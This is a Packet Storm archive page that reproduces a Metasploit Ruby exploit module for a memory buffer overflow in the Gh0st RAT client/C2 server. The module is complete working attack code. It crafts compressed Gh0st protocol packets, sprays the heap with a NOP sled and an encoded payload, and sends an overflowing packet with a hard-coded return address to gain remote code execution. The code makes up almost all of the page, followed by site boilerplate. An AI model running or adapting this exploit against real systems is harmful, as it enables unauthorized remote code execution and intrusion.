Exploit the possiblities

Gh0st Client Buffer Overflow

Gh0st Client Buffer Overflow
Posted Sep 7, 2017
Authored by Professor Plum | Site metasploit.com

This Metasploit module exploits a Memory buffer overflow in the Gh0st client (C2 server).

tags | exploit, overflow
MD5 | c9d019b365355d47b41e84da97f715f2

Gh0st Client Buffer Overflow

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Gh0st Client buffer Overflow',
'Description' => %q{
This module exploits a Memory buffer overflow in the Gh0st client (C2 server)
},
'Author' => 'Professor Plum',
'License' => MSF_LICENSE,
'References' =>
[
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'AllowWin32SEH' => true
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => '',
'EncoderType' => Msf::Encoder::Type::AlphanumMixed
},
'Platform' => 'win',
'DisclosureDate' => 'Jul 27 2017',
'Targets' =>
[
['Gh0st Beta 3.6', { 'Ret' => 0x06001010 }]
],
'Privileged' => false,
'DefaultTarget' => 0))

register_options(
[
OptString.new('MAGIC', [true, 'The 5 char magic used by the server', 'Gh0st']),
Opt::RPORT(80)
]
)
end

def make_packet(id, data)
msg = id.chr + data
compressed = Zlib::Deflate.deflate(msg)
datastore['MAGIC'] + [13 + compressed.size].pack('V') + [msg.size].pack('V') + compressed
end

def validate_response(data)
if data.nil?
print_status('Server closed connection')
return false
end
if data.empty?
print_status('No response recieved')
return false
end
if data.size < 13
print_status('Invalid packet')
print_status(data)
return false
end
mag, pktlen, msglen = data[0..13].unpack('a' + datastore['MAGIC'].size.to_s + 'VV')
if mag.index(datastore['MAGIC']) != 0
print_status('Bad magic: ' + mag[0..datastore['MAGIC'].size])
return false
end
if pktlen != data.size
print_status('Packet size mismatch')
return false
end
msg = Zlib::Inflate.inflate(data[13..data.size])
if msg.size != msglen
print_status('Packet decompress failure')
return false
end
return true
end

def check
connect
sock.put(make_packet(101, "\x00")) # heartbeat
if validate_response(sock.get_once || '')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end

def exploit
print_status("Trying target #{target.name}")
print_status('Spraying heap...')
for i in 0..100
connect
sock.put(make_packet(101, "\x90" * 3 + "\x90\x83\xc0\x05" * 1024 * 1024 + payload.encoded))
if not validate_response(sock.get_once)
disconnect
return
end
end

for i in 103..107
print_status("Trying command #{i}...")
begin
connect
sploit = make_packet(i, "\0" * 1064 + [target['Ret'] - 0xA0].pack('V') + 'a' * 28)
sock.put(sploit)
if validate_response(sock.get_once)
next
end
sleep(0.1)
break
rescue EOFError
print_status('Invalid')
end
end
handler
disconnect
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    22 Files
  • 2
    Nov 2nd
    28 Files
  • 3
    Nov 3rd
    10 Files
  • 4
    Nov 4th
    1 Files
  • 5
    Nov 5th
    5 Files
  • 6
    Nov 6th
    15 Files
  • 7
    Nov 7th
    15 Files
  • 8
    Nov 8th
    13 Files
  • 9
    Nov 9th
    9 Files
  • 10
    Nov 10th
    9 Files
  • 11
    Nov 11th
    3 Files
  • 12
    Nov 12th
    2 Files
  • 13
    Nov 13th
    15 Files
  • 14
    Nov 14th
    17 Files
  • 15
    Nov 15th
    19 Files
  • 16
    Nov 16th
    15 Files
  • 17
    Nov 17th
    19 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close